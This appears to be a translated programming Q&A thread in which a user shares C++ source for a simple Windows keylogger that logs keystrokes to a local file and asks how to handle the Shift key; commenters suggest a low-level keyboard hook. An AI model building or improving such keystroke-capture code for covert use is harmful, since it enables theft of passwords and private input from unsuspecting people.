【发布时间】:2018-05-10 18:11:51
【问题描述】:
你好! 我需要我的程序(一个 Dev C++ 键盘记录器)来检测键“SHIFT”是否被按住。然后当“SHIFT”被按住时,程序应该从小写字母变为大写字母......我使用一个名为的 MSND 函数“GeyKeyState”(“检索指定虚拟键的状态”)但它不起作用。无论如何,我不是英语,所以我可能犯了一些语法错误。 提前致谢!
#include <iostream>
#include <Windows.h>
#include <iomanip>
#include <WinUser.h>
//#include <ctype.h>
#pragma disable warning(4996);
#define DELAY 170
using namespace std;
void WriteToLog( char key)
{
FILE *pLogFile;
pLogFile = fopen("hooked.txt", "a+");
fprintf(pLogFile, "%c", key);
fclose(pLogFile);
}
int main()
{
char i;
bool MINUSCOLA = true; //inizializziamo "MINUSCOLA" come "true"
/*verifico se il caps lock non era attivo prima dell'esecuzione del programma*/
if ((GetKeyState(VK_CAPITAL) & 0X0001) != 0)
{
MINUSCOLA = false;
}
else
{
MINUSCOLA = true;
}
for (i = 0; i <= 165;i++)
{
if (GetAsyncKeyState(i) == -32767) //questo blocco di IF and ELSE nidificati viene eseguita SOLO se viene premuto un qualsiasi tasto
{
if ((GetAsyncKeyState(VK_CAPITAL))||((GetAsyncKeyState(i) == -32767) && ((GetKeyState(VK_SHIFT)&0x0001)!=0))) //se premo il bloc maiusc e invertiamo il valore di "MINUSCOLA"
{
MINUSCOLA=!(MINUSCOLA);
}
else
{
if (MINUSCOLA == true) //se non lo premo e "MINUSCOLA" è "true" il programma stampa caratteri minuscoli
{
WriteToLog(i+32);
}
else //altrimenti "MINUSCOLA" è necessariamente "false";quindi il programma stamperà lettere maiuscole
{
WriteToLog(i);
}
}
}
}
Sleep(DELAY);
return 0;
}
【问题讨论】:
-
这个问题与嗅探或数据包嗅探无关。请避免使用不相关的标签。
-
查找
SetWindowsHookEx(WH_KEYBOARD_LL, hookfunction, NULL, NULL);操作系统会在您按下某个键时通知您。GetKeyState(VK_SHIFT)会判断是否按下了 shift 键。 -
MSDN tells you,为什么
GetKeyState不能按预期工作:“当线程从其消息队列中读取关键消息时,此函数返回的关键状态会发生变化。” i> 你不是,所以你不应该有任何期望。无论如何,这个问题被问了一百万次。每天。做一些研究。